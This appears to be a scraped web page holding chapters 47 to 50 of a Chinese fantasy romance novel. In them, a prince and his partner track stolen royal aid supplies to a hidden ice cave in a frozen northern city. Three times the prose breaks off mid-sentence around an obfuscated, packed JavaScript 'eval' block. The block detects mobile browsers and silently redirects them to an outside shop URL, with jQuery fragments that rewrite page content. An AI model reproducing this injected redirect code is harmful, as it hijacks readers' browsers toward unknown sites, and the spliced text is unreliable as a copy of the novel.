“您放心便好,艾瑟兰王室不会放弃任何领地。莱因哈特国王也不会抛弃他的任何伙伴。”洛斐朝莫里斯郑重地开口道。 至于其他,洛斐淡淡地用出了差错来解释——那便是他要调查的事情,不必与要忙着照顾病人的莫里斯多言。 北城的物资稀缺,连带着克兰德公爵的城堡也并不富裕,但莫里斯依然给了他们最好的卧房。 壁炉里的炭火烧得正旺,偶尔发出噼啪的响声,整间卧房被烘得暖洋洋的。 哪怕在火光正好的卧房里,洛斐依旧搂着毛毯,闷闷地开口:“看来我们得留几日了。” “解决完问题再离开,不是你说的?”米尔将背包里的另一件毛毯递给洛斐,说:“莫里斯骑士为我们分别准备了卧房,你为何又在我这里睡。” 洛斐又顺势披了件毛毯,“省些炭。” 洛斐说完,视线移向窗外雾蒙蒙的天,灰白白的,别无另色。 “北城的公爵尚且如此,真不知道生活本就拮据的子民该如何在这种情况下生存。” 米尔见洛斐秋黄色的眼眸满是忧伤,回了句,“任何王国的任何偏僻地方或多会少都会有此情况,你不必自责。” “明明可以避免的疏忽,却因为我而出了纰漏,我当然无法做到心安理得。”洛斐语气带着些懊恼。 先前,他的确很少来北城。一是地处偏僻,二是久未生变。 无论哪一种,都是他的疏漏。 “疏漏发现问题,我们解决便好。”米尔站在洛斐身旁,问他:“你将北城的情况告诉莱因哈特国王了?” “告诉了。”洛斐神情认真起来,“北城的情况不能继续拖了,但我只与父王说了目前的情况。至于先前的那些求援书的丢失,物资的失踪,父王身体还没恢复,我打算查清楚再汇报。” “你还算严谨。”米尔笑着夸他。 洛斐嘴角扯了扯,“那是当然,对了,你当时为何扯我衣摆?” “扯你衣摆?”米尔想了想,反问:“是与莫里斯骑士交谈的时候吗?” “对。”洛斐将下颌埋进毛毯里,轻声开口。 米尔诧异地看向他,“你都不知道为什么,便当即改了口。” 洛斐不带半分犹豫,“你总不会害我,而且我现在只是看你的表情,便能将你的全部想法猜透了。” 米尔看他表情骄傲,像是了解什么天大的事情,叹口气,“殿下来北城,不能只了解我。最该了解的是莫里斯骑士和克兰德公爵才对。” “克兰德公爵我不了解。”洛斐下意识开口:“但莫里斯骑士是唯一一位,我能喊叔父的骑士,我还算了解他的事情。” “你了解他,难道不知道他与莱因哈特国王断交的事?”米尔随手拿起洛斐给他带来的书,语气毫无起伏地说道。 “断交?”洛斐震惊地反问。 他记得莫里斯骑士随着克兰德公爵来北城后,莱因哈特确实极少提起对方,洛斐还以为是他父王成熟了。 洛斐伸手牵起米尔的手腕,将人拉到身旁,问他:“为什么断交了?你怎么知道的?” “克兰德公爵早年的风评并不算好。那时的莱因哈特还不是国王,北城又是出了名的苦寒之地,谁都不想好友去那种地方蹉跎一生。”米尔被身旁的洛斐直直地盯着,说得有些犹豫,有种说他人坏话一样的羞愧。 “但是莫里斯骑士心意已决,执意去了北城,从那以后,便再也没回温斯洛。”米尔说完,偏着头看向洛斐,“至于从哪里得知……是谣言,但不管是哪种情况,莫里斯骑士的表情都不太好,殿下及时改口,改得很好。” “我们还没去看望克兰德公爵,要找时间去拜访。”洛斐猛然想起来,艾因哈特的嘱咐并没有全部完成。 “我看殿下还是好好想想,是谁在背后使坏比较重要。”米尔拢了拢对方的毯子,“私自截取领地求援书,扣押物资和援助物品,可不是一句疏忽便能开脱的。” 洛斐拉着毯子顺势躺下,又伸手扯了扯米尔,“米尔,你有想法吗?” 米尔看着他躺倒的模样,“北城的地势有些奇怪,子民的居住地,土地都很集中,其它皆是寸草不生的荒地。” 洛斐直起身,托着腮望向他,“荒地?你要去吗?” “殿下不是只看我的表情,便能猜透我的想法吗?”米尔继续补充:“求援信尚且轻易截取,躲藏,但莱因哈特国王拨给北城的物资向来规模庞大,那些物品是绝对不可能悄无声息地搬离。” 洛斐接着说道:“那便只能暂时放在毫无人烟荒地,等待后续慢慢地挪开,是不是?” 米尔躺在他身侧,“聪明,做我的伴侣,必然要聪明。” 47. 北城(2) 洛斐偏头看向他,“那明日我去问问莫里斯骑士,北城的荒地具体在哪里,而后逐一排查。” “不必劳烦莫里斯骑士,他照料克兰德公爵已然辛苦。”米尔微微侧身,恰好对上一旁洛斐的视线,“不如去询问科尔,他对北城比较了解,与忙碌的莫里斯骑士相比,也有些空闲时间。” 洛斐随手绕着他垂在身旁的黑发,“他又不是莱克,莱克为了爷爷和残刃卷帮助我们,但科尔不同。” “有了物资支持和援助,如此寒冷的天气,他未必想要,也没有理由受冷。况且我们的借口还是在北城闲逛。” 洛斐始终觉得,科尔那套拿联姻救领地的说辞,带着消不掉的孩子气,事实上他也的确是比莱克还要小些的少年。 “你说得有道理。” 米尔将身边的所有毛毯递给他,把他身旁塞得满当,毫无漏冷风的间隙,“不必担忧,明日我会去询问科尔,试一试,他有拒绝的权利,就算不成功也没有关系,我们也正好寻找其他办法。” 带着米尔体温的毛毯像是移动的壁炉,暖烘烘得异常舒服,洛斐伸手揽住米尔的肩膀,说:“我去问他便好,碍于我的身份,他兴许会答应。” 米尔倒是没推脱,只是微微抬眸看他,眼神中盛满了不相信。 托了莱因哈特的宽厚治国的福,洛斐在子民面前的威严,大约只比那些不卖高价面包的铺子高出那么一点。 尤其是在他不常前来巡访的北城。 洛斐犹豫地回答:“……至少我在贵族间还是有点威严的。” 莱因哈特常常教导他,他是庇护子民们的王子,不是拿来压人的,是拿来替子民挡风的。 话是怎么讲,但洛斐从小便见惯了贵族们的奉承,也深知他的身份在贵族面前终归是有用的。 但在尚且年幼的科尔面前,管不管用,他还真不知道。 “很抱歉,殿下。”科尔垂首忙活着,头也不太抬地说道:“我几乎所有时间都要忙着给我父亲熬药,您的请求,我恐怕无法顾全。” 洛斐看着满地的药草,闻着飘荡的味道,便知道克兰德公爵的情况依旧不乐观。 他对科尔的拒绝早就有了预料,至于一大早便来询问他,也是为了提前寻找其他办法。 洛斐笑着说:“没关系,照顾克兰德公爵要紧。王室的医师明日便会来北城为克兰德公爵医治,你先也不要太着急。” 申请了许久的援助一直杳无音信,洛斐仅仅通知一下便给父亲的病带来了转机,科尔颔首道谢,“谢谢殿下。” “不用谢。” 科尔余光见米尔并不在周遭,忙着煮药的同时,看向洛斐问道:“米尔大人,不和殿下一起去吗?” 洛斐没来得及回答,身后缓缓走来的米尔率先开了口,“自然是要和他一起去。” 语气带笑话却不含糊。 科尔愣了愣,随即恢复了往常的神色,顺势询问他们,“殿下和米尔大人要去北城的哪里游玩?” “北城南方的冰川谷地,或是中部的琉璃河床。”科尔一边盛着热药,一边向他们介绍,“这两个都是北城最为精致的地点,目前来看也不是很寒冷,很适合游玩。” 洛斐看了米尔一眼,转身朝科尔笑着问:“北城的荒地集中在哪里?” 科尔愣愣地抬头,“荒地?” 米尔补充道:“洛斐殿下和我都……偏爱偏僻一些的地方,比如不同地区的荒地。” 科尔不解地微微颔首,说:“那北城的荒地的确不少,殿下和大人要去那种呢?” “要去最偏僻的,常年无人的荒地。”洛斐一本正经地回答。 科尔熬药动作都停了下来,神色复杂地看着面前的两人,“您的爱好真是独特。” “最荒僻的倒是也有,只是在北城的最北方。” “就去那里。” 米尔听着两人的对话,微微蹙眉,看向身旁的洛斐,“殿下,你对北城的确不是很了解,北城最北边的温度似乎对你很不利。” “对我不利?”洛斐反问。难不成那地方会跑出来凶残猛兽。 科尔开口解释,“北城最北方的温度极低,现在也就是风力强的时候尤甚,堪比进了潮湿冷穴那般。” “如果是为了游玩,我并不赞同殿下和米尔大人去哪种地方,完全是种折磨。”科尔将方才熬好的药分装储存完成,朝他们说道:“但如果是其他的话,我很乐意效劳。” 洛斐看着他。 眼前稚气未脱的少年兴许真有些不一样。 洛斐饶有兴趣地问道:“其他?包括什么?” 科尔将熬药的工具全部收拾干净,直视着他们,嘴角挂着笑,淡淡地开口:“包括一切。” 洛斐挑了挑眉,看向身旁的米尔,对方的表情里也带着几分意外的兴味。 “米尔,要邀请科尔先生做我们的向导吗?”洛斐将问题抛给米尔。 “当然,我想事情会事半功倍。”米尔说完,视线移向看向满地的药袋,药罐,意有所指地说:“但,如果科尔有更重要的事情也不必勉强。” “父亲的药全部熬好了,也多亏殿下的帮助,生活好了很多,我并没有先前那么忙碌了。”科尔补充:“而且如果父亲知道,我让洛斐殿下和米尔大人单独去了如此危险的地方,定然会气恼的。” “那便麻烦你了。” “不麻烦。”科尔看了看米尔,又将目光转向洛斐,开口:“北方真的很冷,如果殿下有任何不适,请一定要及时和我说,不然我父亲哪怕照顾着病人,也依然会责备我的。” 洛斐见科尔小心翼翼的模样,语气松了些,“是我的不对,让你挨骂了。” 牵来马匹的科尔听见洛斐的话,连连边后退边摆手,就差躲到米尔身后了,“我……我不是抱怨或怪罪殿下,那日想起父亲们和子民们的不易,脑子一热便去打扰了,是我的错。” “你被责备,北城的疏忽,我都有责任。”洛斐说:“不必怕。” 米尔也扯了扯身后科尔,劝道:“除非出言不逊,蛮不讲理,否则你不必怕殿下,能将他惹怒的人并不多。” 科尔从米尔身后出来,颔首道:“那便麻烦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17773139|203838||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 殿下和大人跟我离开。” 寒冷且潮湿,北城无时无刻不诠释着这些特征,他们走得极慢,生怕会摔倒受伤而得不偿失。 好在,科尔带的路很精准,与其说是精准,便利更为恰当,他们因此少走了许多弯路。 不同于莱克那种略带锋芒的少年气,科尔的性子更直白温煦一些,连带着爱慕和敬仰也藏不住。 哪怕是骑着马也时不时地往米尔那边凑,问的问题有时中规中矩,有时略微逾矩,洛斐只能一边抵着冷风,一边将他们隔开些距离。 洛斐第七次将科尔隔开时,他们便到了北城的最北方。 那是条连入口也算不上的小路。 但仅仅是小路,风也比别处得要凉,一阵阵地混杂着干土和杂草,像是从荒地一股脑地挤了出来。 洛斐替米尔挡了挡,看了着前方往外翘着的树干,不解地问:“如此严寒的地方,树木居然那么繁茂。” 科尔躲着凉气,开口:“不管多么寒冷的地方,都会有生命存在,这种树木便是专门生在严寒的高地,很是坚韧。” 米尔将马匹拴在无风的地方,看了看湿滑的地面,“地面湿滑,骑马是无法通行的。” 洛斐提议道:“那便走着去。” 米尔和科尔的视线同时移向一旁明明裹着衣袍却仍然嘴硬的洛斐。 洛斐看着两人默契地表现不相信,微微敞开衣领,说:“这些风,我还是游刃有余……” 洛斐垂首,见米尔正替他着拢衣领,轻声朝他说:“你不必逞强,这里也未必能有收获,我们今日在入口看看便好。” 末了,米尔抬眸问了句,“还好吗?” 冷风跟弓箭一样往脸上刺着,衣服也时不时地被吹起来,一阵一阵连喘息的机会都没有。 一点都不好。 洛斐垂眸看着米尔,点了点头,“还好。” “你……” “米尔,你好强。”洛斐忽地来了句,惹得米尔微微皱眉。 不惧冷热,骑射皆精,心思周密,连夜晚睡觉都比旁人谨慎。 的确很强。 米尔见洛斐垂着眸,直直地盯着他,抬手又将对方耳边的风沙拂去,“好端端地夸我做什么,你照顾好自己,便比我强了。” 米尔说完,洛斐朝他扯了扯嘴角,将注意力重新放回四周,路窄小,风强劲,道路漆黑,草也被吹得倒了一片。 他原本不知道,地区不同,差异居然如此悬殊,风力强得甚至无法行走的地方,子民们又该如何生活。 科尔在一旁看着他们你拉拉衣领,我扯扯衣摆,说:“米尔大人说得很对,今日的风异常强劲,的确不适合久待。” 米尔忙着看周边的环境,洛斐朝科尔说道:“既然来了,总归是要逛逛,如果有一点发现,哪怕是细微的小点都不算白来。” 科尔神色复杂地看着他们,洛斐本以为他有要紧的问题。 “科尔,你有什么要说的吗?” 科尔目光在他们之间来回移动,犹豫地问道:“殿下与米尔大人是……伴侣吗?” 48. 谁的秘密 洛斐怔了怔,一旁的米尔也转身看他,两人皆是一副你居然才看出来的表情。 答案不言而喻。 科尔略微尴尬地抬手蹭了蹭鼻尖,讪讪地开口:“我还以为米尔大人是洛斐殿下的……哥哥。” 米尔一边观察周遭,一边轻笑出声。 洛斐被他回答得也有些难为情,偏开视线。 原来真的有人和他一样笨,连奇怪的想法都一样。 “我们的确是伴侣。”洛斐不自在但语气认真地朝科尔说道:“比温斯洛的宝石还要真的那种。” “……好的。” 洛斐见眼前的少年宛如枯萎的花草,方才的那些激情也像是骤然消散了。 洛斐叹口气,“你问了,我便回答,是很平常的交谈,并不是不让你和米尔交流。” 另一边的米尔也顺着他的话,“是的,你对骑术有任何不解,依旧来问我便好,不必刻意避讳。” 科尔听见米尔的话,顿时来了精气神,方才那点蔫气一扫而光,“真的吗?米尔大人。” 米尔垂首,认真摩挲着树干,没来得及回答。科尔身旁的洛斐便看着他,抢先开了口:“当然,太亲密的举措我也会制止你。” “那是自然,我怎么会明知却逾矩呢。”科尔半反驳半保证地说完,便跑到米尔身旁,远远地跟着他观察。 冷风稍弱,洛斐懒懒地倚着树干,看着眼前明明答应离开却依然忙着的两人,同时盯着一棵老树不知道在看些什么。 “米尔。”洛斐拢了拢衣领,喊他。 “在。”米尔头也不回地答道。 洛斐不死心地重新喊了一遍,“米尔。” 米尔依旧没回头,“我在。” 洛斐见米尔连视线都不给他,背着风走去他们那边,顺着他们的目光看去。 树干被冷风吹得发白,大大小小的裂痕皆沁着潮气,正中间似乎刻着一些标记,隐隐约约的,看不真切。 洛斐凑近些看。 “这应当是艾瑟兰王国猎人狩猎时做的标记。”洛斐不咸不淡地说。 “狩猎?” 科尔常年待在北城,荒芜的地方,对狩猎的印象仅局限于春日捉小鸟来玩,哪里用得上做标记。 “以狩猎谋生的猎人不会去那些供人玩乐的猎场,他们去的地方大多都很复杂危险,做标记是为了防迷路,也是为了遇险后留条后路。” 米尔仰着头,抬眸看向洛斐:“你确定吗?” “当然,这些是我必须知道的知识。”洛斐语气坚决,他要是连这也不知道,那不真成了假王子。 米尔翻着树底的潮湿泥土,“这一带不像是有人烟的环境。” 科尔补充道:“北城最北方可是称得上极寒的地方,就算是真的有勇士来,也会被我父亲给劝阻离开。” “至于这些标记兴许是风自然而然雕刻的呢。”科尔说道。 他话音刚落,又一阵冷风袭来,像是裹着冰的刀子,每一下都像是在切割肌肤。 洛斐微微皱眉,哪怕是稍微耐冷些米尔也下意识缩了缩身体。 科尔摩挲着通红且冻得毫无知觉的耳根,提议道:“不如先告诉我父亲们一声,至少找些专业的帮手来协助。” 洛斐无比赞同,“今日我们先回去。” 他说完便伸手去扶米尔,手腕上的祈福绳也随着风向而摇摇欲坠,在洛斐将米尔扶起来时,它终于忽地脱离手腕,卷入风中。 “祈福绳。” 洛斐连忙伸手去够,却只来得及碰到绳结边缘,那根祈福绳利落地从指尖滑脱,即刻消失在冷风里。 那是米尔贴身戴过的,亲手送给他的,现在只能眼睁睁地看着他飞走了。 洛斐见它眨眼便没了踪迹,匆忙转身朝米尔说道:“米尔,它跑了,我得去找……” 米尔见他语气认真的模样,生怕他真的为了根祈福绳便跑去挨冻,开口劝他,“不必,不必,我再给你编一根便好。” 洛斐还没来得及反驳,身旁的米尔一阵惊呼传来,米尔和洛斐默契地看向他。 科尔指了指空荡荡的胸前,面露难色,“……我的徽章也飞跑了。” 米尔看了看他们,微微叹了口气:“一起去找,顺便看看全当是提前熟悉环境了。” 外区的冷风好似被高大的树给尽数挡住了。他们往里面走去,风也渐渐收住了,湿气却重了起来。 潮气太重,树干上的标记已经被水汽浸得模糊不清,唯一的异样也没了痕迹。 “在那里。”科尔语气一扬,一溜烟跑过去又立即折返回来,再回来时手里已经攥着家族徽章和洛斐的那根祈福绳。 “给你,殿下。” 洛斐开口道谢,接过那根失而复得的祈福绳,瞥见绳结断口处松散地翘着几根细线。 他本想转身朝米尔说一句,兴许对方会因此为他重新编一根。 米尔贴身戴的,他想要,米尔亲自给他编的,他也想要。 “米尔,它的绳结坏断……”洛斐话音未落,见米尔又愣愣地看向前方,和先前观察树干时如出一辙,问他:“你怎么又愣……” 洛斐顺着他的目光抬眼看去,也怔愣了一瞬,“这是……什么地方?” 枯竭的山谷覆着一层厚冰,冰层从山谷顶端直直地挂下来,晶莹剔透地宛如上好水晶。远远地看去,倒像是谷缝中生长一排冰树。 “这里居然也有冰谷。”科尔看了一眼面前的场景,熟练地朝他们解释,“冰谷算是北城很独特的景色,是由那些许多年的旧冰依靠着山谷而形成,在北城的中部较为常见,我还真不知道最北方也有。” 洛斐很少来北城,也的确没见过这种堪称艺术品的自然景观,他仔细地看着。 哪怕是四周蔓延的碎冰,面对劲风依旧纹丝不动。 “这些旧冰不会随着天气回暖而消失?”洛斐看完,垂首擦拭着指尖的水渍,递给米尔随身携带的手帕。 科尔对北城的特色较为了解,开口:“不会的,它们不会随着天气回暖而消失,也不会被风给影响,哪怕是人为地破坏也很难撼动。” 米尔随手接过手帕,靠近冰层探身细看,“这附近应该有不少人居住。” 科尔将视线移向山谷的斜后方,朝山谷后望了望,“按理说,有这种可能性在。尽管天气严寒,但冰谷周边向来人们常常聚集居住的地方,冰谷的水源和遮蔽条件都不错。” “当然,最重要的是风力小。” 洛斐听科尔说完,才发觉周边的风力的确小了,他朝依然探身看冰层的米尔说道:“既然这里是人们常常居住的地方,那么便没有寻找的必 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17778505|203838||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 要了,谁会选择这种地方做躲藏的地点。” 毕竟这种和不打自招毫无区别。 “好,听你的。”米尔补充道:但我想再看明白些。” “……” 洛斐自知米尔倔强的性子,如果此时阻止他,以后便得来这里寻找他。 “科尔先回去忙,我和米尔会在夜深前赶回城堡。”洛斐垂首系着祈福绳,朝科尔说道。 克兰德公爵现在正是需要照顾的时候,总不能让对方一直花费时间来陪伴他们。 站在一旁擦着徽章的科尔想了想,应了一声,“好。”援助物品即将到来,父亲那边的确有些力不从心。 米尔听着科尔离开的声响,转身问:“科尔回城堡了?” 洛斐见他离冰层越靠越近,连忙轻扯他的手腕,说:“莫里斯骑士和克兰德公爵那边忙得脱不开身,科尔回去能搭把手。” “嗯。”米尔淡淡地回着,头也不抬地注视着前方,问身旁的洛斐,“你说外面的冰层为什么反而颜色更深,看起来更厚重?” “也许是新冰覆盖旧冰层,久而久之便有了颜色差异。”洛斐试探地解释一番,而后问他:“你觉得呢?” “你说得很对。”米尔回头称赞他。 洛斐扯了扯嘴角,刚准备谦虚两句,手中却忽地一松,米尔的手腕便滑了出去。 冰层碎了,摔倒了? 洛斐来不及多想,伸手猛地一拽,拽回来的不是米尔,而是一手的冰渣,紧接着,眼前便是一阵翻天覆地的漆黑。 …… 空气中混杂着泥土的湿气和久不见阳光而产生的潮气,身上的衣服浸湿了冰水,笨重地包裹着酸疼的身体。 “米尔,……你还好吗?”洛斐强撑着睁开眼睛,忍着浑身不适,问面前坐在着的米尔。 米尔见他终于醒了,松了口气,说:“你醒来便一切都好了。” 洛斐撑着地面起身,一阵湿润感顺着手腕传来,他垂首望去,是一滩又一滩脏水,“米尔,我们现在是在哪里?” 暗无天日黑洞般的四周,和随处可见的泥泞脏水,甚至连空气都无法流通,怎么也不是方才异常壮美的冰谷。 米尔的目光仔仔细细地扫了一遍他全身,末了,拍拍他肩膀,回答:“应当是冰谷的深层。” “我们怎么来的?” 洛斐擦拭着泥渍,不解地追问道。他怎么连入口也没见到,便轻易地进来了深层。 米尔意味深长地看向他。 洛斐愣了愣,试探地询问:“不会是我做的?” “那些旧冰因为我们的到来而滑掉了,我便伸手去接住它们,不让冰谷受到影响。”米尔不咸不淡地朝他说道:“但我还没来得及碰到冰块,你便立刻扑了上来,眼看着就要撞到岩块。” “你往前用力拥住我,然后无意间找到了冰谷深层。”洛斐替他补充道。 “是的。” 洛斐有气无力地解释了一句:“……我怕你摔倒。” “我知道。” 米尔抬手指向前方,目光落在洛斐脸上,“多亏了你,前面或许有新发现。” “新发现?”洛斐转身看向狭窄的入口,怎么看这里都像是自然形成的废弃洞口。 米尔郑重地开口:“前面或许比冰谷更为重要。” 49. 担忧 “这种地方真的不是普通洞穴?”洛斐环顾四周,潮湿好似黏腻地糊在周边,甩也甩不掉,偏偏又漆黑一片,他在黑夜里较好的视力在此处都有些费劲。 米尔也微微眯着眼睛,看向入口,“冰层显然是特意隐藏的,只是不太精密。应该没人想无目的地去白费力气装饰自然洞穴。” 洛斐顺着米尔的视线望去,入口已经被冰重新封住了,新结的冰薄而透,和一旁的旧冰层格格不入。 “真是愚笨。”洛斐挑了挑眉,不解地开口:“想尽办法搬来北城最北方,却在入口处留了这么大的破绽。” 米尔不咸不淡地开口:“兴许是故意留给我们的。” 洛斐偏头看了他一眼,将唯一干净的一点衣摆塞到他手中,说:“去看看便知道了。” 洞穴深层的空气更加潮湿,甚至多了些黏腻。 米尔的视力比洛斐的要差些,从远离洞口开始,便只能牵着洛斐的衣摆,摩挲着前行,“你发现什么了?” 一直走得飞快的洛斐愣了愣,回答:“这里好像不太冷。” “……” “走了那么久,殿下只发现了不太冷。”米尔不解地皱眉问道。 “你在我身后,我不敢东张西望,怕你摔了。”洛斐直白地开口。 “你好好地走在我身前,我怎么会摔倒?” 米尔话音刚落,身旁的石壁传来一阵沉闷的震动,一块裹着冰的岩块直坠而下,米尔被巨大冲力推着向前。 洛斐猛然回头,伸手将人拉了回来,“受伤了?” 米尔摇摇头,又要上前去看那些巨大岩块,一边的洛斐赶忙将他扯了回来,“不要去看了,我来便好。” 明明平时冷静自持的人,遇事却果断得有些过了头,像是来不及想便动了手。 洛斐垂首看着那些冰渣覆盖的岩块,又抬眼看向边缘参差不齐的石壁——正中间有着一道细小的缝隙,透着微弱的一抹光线。 “米尔,你好像找到了。”洛斐朝身后的米尔说道。 米尔扶着湿凉的石壁,不解地询问:“找到什么了?” “找到藏宝地了。”洛斐随口答着,准备将阻挡前路的石壁推开。 他用力一推。 结果,纹丝不动。 米尔听着前面洛斐使劲推动岩块的响动,开口问:“是在石壁的另一面吗?” 洛斐转身看着他,说:“是那边透着光,哪怕不是藏宝地也该有其他的秘密。” “你在身后待着便好,我很快便成……”洛斐话未说完,抬眼间,米尔已经用身旁树枝将石壁生生地凿开了。 “殿下遇到困难,记得和我说,也许能快些解决。”米尔利落地放下树枝,伸手要去扯洛斐衣摆。 洛斐连忙将衣摆递给他,回了句,“好。” 微弱的壁灯映入眼帘,勉强照着一旁堆砌的木箱。 箱子顶端的标志十分显目。 米尔一眼看到了那枚象征艾瑟兰王室的徽章,从温斯洛运来,纹样已经模糊。他转身问身旁的洛斐:“殿下,这是艾瑟兰王室的徽章?” 洛斐看了眼那模糊不清的徽章。 盾形轮廓中间竖起一柄利剑,两侧各有一只展翅的雄鹰。 洛斐微微颔首,“的确是艾瑟兰王室的标志。” 洛斐说完,视线移向木箱内,里面的援助物资全部被潮气浸透了,甚至在边角的木箱连盖子也没合上。 他伸手拨开最上面的保护布,霉味扑面而来,谷粒结成一团,边缘泛着灰绿色的霉毛,像是潮湿又阴干的。 洛斐看着白白浪费的物资,语气带着恼火,“将物资抢来也不知道珍惜,全部都潮湿了,藏也不会藏,放也不会放。” 米尔看着丢弃在一边的厚布料也变得发软发黑了,“这些人不是为了这些援助物资,兴许都不在意它们。” “看着像是如此,不买卖也不独占,只是单纯抢来堆放。”洛斐微微蹙眉,“为什么要怎么样做?总不能是冲着莫里斯骑士和克兰德公爵来的。” 莫里斯骑士的温厚,洛斐是知道的。那样的人愿意托付一生的克兰德公爵想来也不是暴烈性子。 洛斐将相对干净些的布料微微抬起,半遮半掩面前的木箱,淡淡地开口:“他们一个比一个的脾气好,哪来的仇家。” 米尔借着微弱的灯光,观察四周的环境,随口道:“兴许真的是毫无目的,随性而为。” “平白无故?只是为了让北城的子民挨饿受冻?” 洛斐不解。 边境动荡不算稀奇,但如此直白的作恶,倒是不多见。 米尔抬眸,语气没什么起伏,“目前看来是如此,但也正因为如此,我们恐怕会更加调查。” 洛斐微微颔首,“没有标记,没有痕迹,也没有线索,自然不容易。” 他原先以为只是北城的商人见公爵久病不起,起了贪念才扣押了援助物资,现在看来,不至于此。 洛斐转身清点洞穴里的木箱,朝米尔说道:“情况特殊,关乎王国安危,又牵扯到贵族,必须尽快禀报父王。” 壁灯光线昏暗,洛斐只得凑近了清点那些几乎全部破损的物资。 “洛斐.瓦莱里安。” 一旁的米尔忽地开口。 洛斐听着陌生的称呼,愣了愣,转而回头看他,“怎么了?” “……能不能等等?”米尔犹豫地开口问道。 “你的意思是晚些禀报父王,我们先自行调查吗?” 米尔顿了片刻,微微颔首。 如果放在平时,米尔想也不想便会答应,就当是让米尔顺心。 但此次关联的事情太多太繁杂,远远超出他先前的预想,多到他甚至无暇顾及莱因哈特尚未痊愈的身体。 洛斐余光见米尔一脸恳切地看着他。 这是米尔从他们认识以来第一次露出这种表情。 洛斐微微别开脸。 王国安危重于一切,就算按照洛斐的私心,他也不会答应米尔的请求,今日是晚些禀报,明日他便会独自前往调查。 “不能等了,米尔,……” 洛斐话语未落地,入口那边就传来一阵接一阵的喊话,硬生生地将他的话截断。 “殿下,洛斐殿下!米尔大人!” 随之而来的还有急促的脚步声。 洛斐看着米尔往回走的背影,叹了口气。 他知道莫里斯向来心细如发,但没想到来得那么快,他连解释的话都未说出口。 米尔率先敲了敲最里面的冰层,以此回应着对方,“我和殿下不慎跌落,麻烦你了,莫里斯骑士。” 冰谷里的莫里斯明显语气松懈,回了句,“你们无事便好,我立刻将你们接出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17783431|203838||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 。” 应当是临时出来寻找,莫里斯只带了科尔和其他两位侍从前来帮忙。 好在洞穴并不算太深,只需科尔和莫里斯略微伸手帮衬,他们便能利落地出来。 说是出来游玩,转眼却是从洞穴里救出来的。 洛斐有些难为情,顺势看向身旁的米尔。 方才米尔那番请求还在脑海里转。 他本来还在犹豫要不要立即禀报莱因哈特,如今莫里斯亲自来了,那些犹豫不定也散了。 哪怕真的按米尔说的去办。仅凭他们两人也断然无法将这些东西运出去,更不能任由援助物资堆砌就此废在这里。 那些干净完好的物资,对眼下的北城或是北城子民们来说,格外珍贵。 本就是两难境地,或许当下的情况便是最好的选择。 “莫里斯骑士,请派人去洞穴里将援助物资搬出来。”洛斐看了眼米尔,继续说道:“并将具体情况,具体数量如实禀报给莱因哈特国王。” 莫里斯愣了一瞬,连忙带着人去了洞穴。 众人去查看物资的时间,洛斐略微抬眸,看向站在一旁的米尔,对方正摆弄着手腕的祈福绳,表情无波无澜。 国家和子民安全固然是永远的第一位,但让米尔感到安心,是他私心的第一位。 莫里斯办事还如洛斐记忆中那般果断干脆,毫不拖泥带水。 短短的时间里,他便将全部物资安排妥当,几日后便会分发到子民手中。 物资问题算是暂时落定了,克兰德公爵身体也在好转。莫里斯像是突然来了精神,拉着他们夸奖个没完,一直到上了回程的马车,洛斐也没来得及和米尔搭话。 “多年不见,殿下真是令人刮目相看,长进了很多。” “您过誉了,叔父。”洛斐得体地应道。 莫里斯浅笑着看向倚着窗框的米尔,开口:“米尔也是,真不愧是国王和王后都称赞的人。” “谬赞了,莫里斯骑士。”米尔语气如常。 洛斐见他倚着窗框,微微皱着眉头的模样,将手帕递给他,对方却纹丝不动。 洛斐微微起身,轻轻托起米尔的脑袋,把手帕塞到他那边,又缓缓放了回去。 科尔愣愣地垂下眼,倒是一旁的莫里斯看得嘴角微微一扬。 洛斐以为对方总算是明白了,能给他们些时间。 结果,莫里斯笑着朝他说道:“贵族们得知殿下来了北城,想要与您见一面,方便吗?” “……”洛斐笑意不达眼底地回道:“当然方便,我拜访他们才对。” 平日里恨不得日日黏在一起,眼下却忽然丧失了相处间隙。 回城堡后,洛斐先是向莫里斯骑士对着物资分配情况,而后便是一场你讲我答的晚宴,一场米尔未参加的晚宴。 晚宴结束时,夜已经黑透了。 洛斐站在卧房门口,来回踱了几步又停下。他知道米尔不会这么早睡,但现在去找他,要怎么开口? 是说一句“比起王国子民,你是次之。”?还是先说一句,“我本想答应你。” 洛斐抬手按了按眉心,想先回卧房换件轻便衣服再去找米尔。 他正要开门,卧房门缝却透着些许弱光。 他开门的动作顿了片刻。 门一开,熟悉的声音从里面传来,“你真的不去找我?” 50. 婚礼 “米尔,你怎么在我卧房。”洛斐嘴角先弯了弯,语气带着藏不住的惊喜。 往常都是他去米尔那边蹭住,对方主动来倒是第一次。 